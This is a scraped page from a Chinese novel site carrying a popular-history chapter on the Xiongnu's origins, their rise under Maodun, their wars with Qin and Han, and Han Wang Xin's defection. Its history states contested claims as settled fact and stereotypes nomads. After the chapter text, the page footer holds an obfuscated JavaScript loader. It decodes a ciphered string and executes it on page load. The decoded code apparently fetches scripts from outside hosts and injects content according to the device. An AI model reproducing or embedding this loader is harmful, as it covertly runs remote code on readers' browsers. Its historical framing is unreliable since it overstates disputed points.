首页
[切换至繁体版]
返回

第11章 匈奴来历

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    第11章匈奴来历(第1/2页)
    匈奴是第一个统治北方草原的民族,也是第一个威胁到中原王朝安危的游牧民族,曾经逼得秦始皇修长城、汉高祖送女人,对中国历史有着极其深远的影响。那么,匈奴是什么人?从哪里来?
    关于匈奴人的起源,通常认为他们是夏朝人的后裔。商汤伐夏后,一些夏人逃到草原,形成了匈奴。这种说法源于《史记·匈奴列传》,里面说:【匈奴,其先祖夏后氏之苗裔。】这表明匈奴可能与夏朝有某种族属关系。这一观点在古代文献中被广泛接受,并且在现代基因研究中得到了一定的支持,后世通常都信这种说法。
    但诸多证据表明,匈奴中还有白种人,匈奴语和汉语完全不同,倒和古伊朗语有部分相似之处。因此,不断有人推翻司马迁的说法,使得匈奴的起源似乎成了一个未解之谜。直到现在,仍有不少关于匈奴人是白种人还是黄种人的争论。
    其实,如果以匈奴是混血民族的视角看,这些问题都解释得通。匈奴处在中原民族和北方白种人之间,丁零、高昆、乌孙都是白种人,月氏是混血人,匈奴作为处于白种人和黄种人之间的草原游牧民族,流动性很大,怎么可能不是混血?
    现代考古对匈奴人遗骨的研究也发现,南匈奴具有古华北人种和古北亚人种的特征,而北匈奴的特征则具备了欧亚混血的南西伯利亚类型,以及少量高加索人种的塞种遗存面貌。
    到了周朝,中原王朝的北方出现了很多戎狄部落,有白狄、赤狄、长狄,当时基本上都是半农半猎,他们在学会骑马之前对中原王朝构不成什么大的威胁。
    到了春秋战国时期,他们从更北方的塞种人那里学会了骑马,对中原王朝的威胁开始越来越大。这也是为什么周朝时的诸侯国皆不惧匈奴,反倒汉代统一之后,匈奴却成了大患。
    就在这个时候,在白种人和黄种人活动的交界处,匈奴融合了双方的血脉、吸收了双方的文化,开始慢慢崛起。
    在匈奴崛起前,北方各胡都是独立的部落。《史记》称:【各分散居溪谷,自有君长。】匈奴强大后,开始了统一北方草原的进程,在战国末期,匈奴已成为胡人中的强大部落。匈奴自从出现后便开始扩张,不断蚕食其他游牧民族。
    前312年,匈奴攻击了在河套地区游牧的楼烦人。
    前265年,匈奴首次与中原王朝大规模作战,也是匈奴威胁中原王朝的开始。不过由于首战失利,匈奴很长时间不敢进犯中原。《史记·李牧传》记载:当时经历了长平之战惨败的赵国派李牧击匈奴,李牧利用口袋阵战法歼灭匈奴两个部族、10万骑兵。
    秦始皇统一中国后,将匈奴视为大患,开始将打击目标转向匈奴。这时匈奴的首领是头曼单于,王廷所在地在头曼城。头曼单于是有记载的最早的匈奴单于,当时匈奴只是北方政权之一,东边还有东胡,西边有月氏。
    前215年,秦始皇派蒙恬率30万大军北击匈奴,匈奴被赶出了河套地区,【却匈奴七百余里,胡人不敢南下而牧马,士不敢弯弓而报怨。】同时秦始皇还征调了近百万劳动力在原先秦长城、赵长城、燕长城三国长城的基础上修建万里长城。
    头曼城在阴山南麓,匈奴王庭被迫北迁,所以史载:【匈奴失阴山,过之未尝不哭也。】但秦始皇北击匈奴,却加速了匈奴的崛起,这是因为匈奴内部矛盾在秦朝压力下激化,反而产生了一代雄主,那就是头曼单于的长子冒顿单于。
    冒顿单于上位后,开始了率部统一漠北地区的进程,先是突袭东胡,杀东胡王,然后攻击月氏,迫其西徙。接着进军西域,征服了楼兰、乌孙等20余国,控制了西域大部分地区。接下来向北征服了丁零等部,向南兼并了楼烦及白羊河南王之辖地,重新占领了河套以南地,使得蒙恬数十年前北击匈奴的战果损失殆尽。自此,匈奴占有了南起阴山、北抵贝加尔湖、东达辽河、西逾葱岭的广大地区,拥有控弦之士30余万,建立起空前强大的草原帝国。
    与此同时,汉朝也建立起来,形成两强共存的局面。可以说,匈奴兴起于商周之际,鼎盛于秦汉时期,它与秦汉帝国为邻,却分属于不同的文明,有着截然不同的价值观。属于游牧文明的匈奴人崇尚杀戮、抢掠、自由迁徙,属于农耕文明的秦汉帝国的子民们则崇尚和谐相处、安土重迁,以法律和道德礼仪相规范,这是价值取向截然不同的两种文明,一旦它们成为邻居就必然会发生碰撞,碰撞的方式就是战争和融合。
    作为马背上的游牧民族,匈奴人弓马娴熟,勇武善战,男女老少都能上马杀敌,几乎全民皆兵。匈奴军队的机动性、灵活性是当时世界上超一流的,他们来如风、去如电,让人防不胜防,因而在早期的较量中,中原军队每每处于守势,为了防止匈奴人的骚扰,战国时期的秦国、赵国、燕国等国都在与匈奴,接壤的地方修筑长城,抵御匈奴人的进攻。
    (本章未完,请点击下一页继续阅读)第11章匈奴来历(第2/2页)
    秦始皇统一中国后,虽然派蒙恬却匈奴七百余里,但鉴于匈奴人灵活机动的作战能力,他仍然奉行战略防守的策略,将原秦、赵、燕三国长城连接起来,加以延伸,形成西起临洮、东至辽东的万里长城。
    就在秦始皇、蒙恬等人处心积虑完善战略防线时,冒顿利用秦末中原大乱及楚汉相争之机,灭东胡、降乌孙、服丁零,在大漠南北完成了一系列兼并行动,拥有的土地面积丝毫不亚于先前的秦朝及后来的汉朝。
    汉代文景之治后,国力蒸蒸日上,达到了前所未有的富裕程度,而匈奴也终于遇到了自己的克星——汉武帝。
    汉武帝在位期间,匈奴经历了七位单于,但他们都没能翻越汉武帝这座大山,尽管他们都试图让匈奴重现冒顿时代的辉煌,但一个个都饮恨而终。不仅如此,在汉武帝的铁骑强攻下,曾经兴盛一时的匈奴也最终走向了分裂。南匈奴与汉朝和亲,对汉朝称臣,逐渐成为汉朝的一个藩属国;北匈奴继续占据漠北,与汉朝对峙,双方战事不断,一直打到东汉中叶,在汉朝的军事打击以及连年不断的天灾人祸袭击下,北匈奴一部南迁,另一部被迫退出漠北,途径西域、中亚,向欧洲一路迁徙。南北两个匈奴虽然因为分裂走上了不同的道路,但他们都没有忘记自己是冒顿的子民,时刻梦想着复兴匈奴,证明自己是“天之骄子”。
    南匈奴在两汉以后摄于曹魏政权的兵威,偃旗息鼓,暗中蓄力,终于在西晋“八王之乱”后爆发,他们打着为汉朝复仇的旗号问鼎中原,直捣洛阳,导演了“永嘉之乱”,灭掉了西晋,将中原搅得天翻地覆。这一壮举在冒顿时期也不曾有过。从此,中原大地进入了近三百年的“五胡乱华”时期。
    北匈奴西迁后,很快找回了冒顿时代的自信,他们凭借着骑兵的灵活、机动、善战一路征服,所向披靡,在欧洲素称强悍的东哥特人、西哥特人、日耳曼人、法兰克人,纷纷成为他们的手下败将。匈奴人的到来,改变了欧洲的政治格局,最终导致了西罗马帝国的崩溃。
    遗憾的是,西迁的匈奴作为一个国家,完全建立在暴力征服的基础上,缺乏凝聚力和向心力,在杰出首领阿提拉死后,强大的匈奴王国顷刻间分崩离析,其残部在一番挣扎后,最终消失在历史长河中。
    如今匈奴作为一个民族早已不复存在,但是,这个曾经在中国北边、西域、中亚、欧洲存在过的强大民族,在欧亚历史上所产生的影响是深远的,它曾是欧亚历史上的超级军事大国,改变了魏晋以后中国的政治格局,颠覆了中亚、欧洲的统治秩序,推动欧洲从奴隶制进入了封建制,在世界历史发展进程中留下了浓墨重彩的一笔。
    以上就是匈奴来源和发展的基本情况。随着大汉帝国的建立,强大的草原帝国匈奴和新兴农耕文明大汉帝国之间将不可避免地发生猛烈碰撞。
    就在匈奴不断南侵之时,此时驻守北境的是韩王信,他是刘邦分封的七个异姓王之一。汉初有两个韩信,一个是“兵仙神帅”韩信,此时已被贬为淮阴侯;一个就是韩王韩信,史称“韩王信”。
    为了防备匈奴南下,韩王信早早做了准备,他告诉刘邦:“我的封国在北方,靠近匈奴,匈奴人又经常南下入侵,王城如果设在太原郡的郡所晋阳,离边境太远,不利于边防。建议将郡所迁到更北的马邑。”
    刘邦一看,小伙子很有进取心嘛,准了。
    韩王信带着小弟北上,他已经做好了大展拳脚的心理准备,但正应了那句话:理想很丰满,现实很骨感。匈奴骑兵势如破竹,对韩王信镇守的马邑发动进攻。直到此时,韩王信才真正见识了冒顿一手训练出来的骑兵打仗有多猛。
    面对当时世界上最厉害的骑兵,韩王信明知不是对手,不断派人到冒顿先面前请求讲和。当然,讲和是假,拖延时间是真。与此同时,韩王信立即派人向刘邦报告前线最新战况,向刘邦求救。
    结果刘邦为了剪除异姓王,丝毫没惯着韩王信,让你好好守城,你竟然跟匈奴人眉来眼去。你既然已经和人家在谈了,还向我报告什么?
    为了避免韩王信投敌,刘邦赶紧派人八百里加急,前去马邑,强烈谴责韩王信首鼠两端的行为,希望韩王信在自己的威慑下能够兢兢业业防守马邑,不要搞小动作。
    韩王信气坏了,我辛辛苦苦在前线跟匈奴人周旋,不就是为了拖延时间给汉军准备时间吗?你倒好,不领情,反而劈头盖脸一顿骂。你不是说我要反吗?好,我就真的反了,看你能把我怎么样!
    一转身,韩王信直接带人投奔了冒顿。汉帝国北方门户大开。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();